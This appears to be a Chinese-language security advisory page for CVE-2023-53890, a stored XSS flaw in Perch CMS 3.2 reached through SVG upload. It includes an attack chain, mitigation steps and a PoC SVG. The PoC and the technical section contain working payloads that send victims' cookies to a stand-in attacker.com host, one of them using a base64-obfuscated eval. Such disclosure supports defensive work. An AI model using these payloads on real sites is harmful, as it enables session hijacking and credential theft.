IPBUF安全漏洞报告
English
CVE-2023-53890 CVSS 5.4 中危

CVE-2023-53890 Perch CMS 3.2 存储型XSS漏洞 via SVG文件上传

披露日期: 2025-12-15

漏洞信息

漏洞编号
CVE-2023-53890
漏洞类型
存储型跨站脚本攻击(XSS)
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
Perch CMS

相关标签

CVE-2023-53890存储型XSSPerch CMSSVG上传跨站脚本攻击文件上传漏洞Web安全CMS漏洞会话劫持JavaScript注入

漏洞概述

CVE-2023-53890是Perch CMS 3.2版本中存在的一个高危安全漏洞,属于存储型跨站脚本攻击(Stored Cross-Site Scripting)类型。该漏洞允许经过身份验证的低权限用户通过上传包含恶意JavaScript代码的SVG文件来触发客户端攻击。由于SVG文件格式支持内嵌脚本,攻击者可以在SVG文件中插入<script>标签或其他事件处理器(如onload、onerror等),当其他用户访问或查看这些上传的SVG文件时,恶意脚本将在受害者浏览器上下文中执行。攻击成功后,攻击者可以窃取用户的会话Cookie、劫持用户会话、进行钓鱼攻击或执行其他恶意操作。由于该漏洞存储在服务器端,所有访问该恶意文件的用户都会受到攻击,因此影响范围较广。此漏洞需要用户交互才能触发,攻击复杂度较低,但需要攻击者拥有有效的Perch CMS账户。CVSS 3.1评分为5.4,属于中等严重程度,主要影响系统的机密性和完整性。

技术细节

该漏洞存在于Perch CMS的文件上传功能模块中。Perch CMS在处理用户上传的SVG文件时,未对文件内容进行充分的过滤和清理。SVG(可缩放矢量图形)是一种基于XML的矢量图形格式,支持通过<script>标签嵌入JavaScript代码或通过事件属性(如onload、onerror、onclick等)执行脚本。攻击者可以构造一个恶意SVG文件,其中包含如下恶意代码:<svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.cookie)"><script>document.location='https://attacker.com/steal?cookie='+document.cookie</script></svg>。当管理员或其他用户通过CMS管理界面预览或访问该SVG文件时,浏览器会解析SVG并执行其中的JavaScript代码。由于Perch CMS将上传的文件存储在服务器端并可被其他用户访问,这个恶意脚本会被永久存储,每次有人访问该文件时都会执行。攻击者利用此漏洞可以绕过同源策略限制,窃取受害者的认证令牌、会话ID或其他敏感信息,进而冒充合法用户进行操作。漏洞的根本原因在于CMS对上传文件类型检查不严格,且未对SVG等可包含脚本的文件格式进行内容清理或安全处理。

攻击链分析

STEP 1
步骤1
攻击者获取Perch CMS有效账户(低权限即可),或通过其他方式获取认证凭据
STEP 2
步骤2
攻击者构造包含恶意JavaScript代码的SVG文件,可使用<script>标签或事件处理器(onload、onerror等)
STEP 3
步骤3
攻击者使用认证账户登录Perch CMS,导航到文件上传功能模块
STEP 4
步骤4
攻击者上传恶意SVG文件到服务器,CMS未进行充分的安全检查和内容过滤
STEP 5
步骤5
恶意SVG文件被存储在服务器上,攻击者获取可访问的URL
STEP 6
步骤6
当管理员或其他用户通过CMS界面访问或预览该SVG文件时,浏览器解析SVG并执行恶意JavaScript
STEP 7
步骤7
恶意脚本窃取受害者的Cookie、会话令牌或其他敏感信息,并发送到攻击者控制的服务器
STEP 8
步骤8
攻击者利用窃取的凭据劫持用户会话,执行未授权操作或进一步渗透系统

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- 恶意SVG文件 POC for CVE-2023-53890 --> <!-- 上传此文件到Perch CMS文件管理器 --> <svg xmlns="http://www.w3.org/2000/svg" version="1.1" width="300" height="200"> <script type="text/javascript"> // 窃取Cookie并发送到攻击者服务器 var stolen_data = 'cookie=' + encodeURIComponent(document.cookie) + '&url=' + encodeURIComponent(window.location.href); var img = new Image(); img.src = 'https://attacker.com/collect?' + stolen_data; // 可选:显示弹窗(演示用) alert('XSS Exploited - CVE-2023-53890\nCookie: ' + document.cookie); </script> <!-- 使用onload事件作为备选触发方式 --> <rect width="300" height="200" fill="#ff0000" onload="eval(atob('YWxlcnQoIkRhdGEgU3RlYWxlbiIpOw=='))"/> <text x="10" y="100" font-size="20" fill="white">Malicious SVG - CVE-2023-53890</text> </svg> <!-- 攻击步骤说明: 1. 创建一个包含恶意JavaScript的SVG文件 2. 使用有效账户登录Perch CMS 3.2 3. 导航到文件上传功能 4. 上传此SVG文件 5. 当管理员或用户查看该文件时,脚本将自动执行 6. 攻击者收集窃取的Cookie进行会话劫持 -->

影响范围

Perch CMS < 3.2
Perch CMS 3.2

防御指南

临时缓解措施
在官方补丁发布之前,可采取以下临时缓解措施:1)禁用或限制SVG文件上传功能;2)使用Web应用防火墙规则阻止包含<script>标签或危险事件属性的文件上传;3)对上传目录设置严格的访问权限,阻止直接访问上传的SVG文件;4)实施内容安全策略(CSP)响应头,限制脚本执行;5)对所有用户上传的文件进行病毒和恶意代码扫描;6)监控文件上传功能的使用日志,及时发现异常行为。建议尽快应用官方安全更新。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表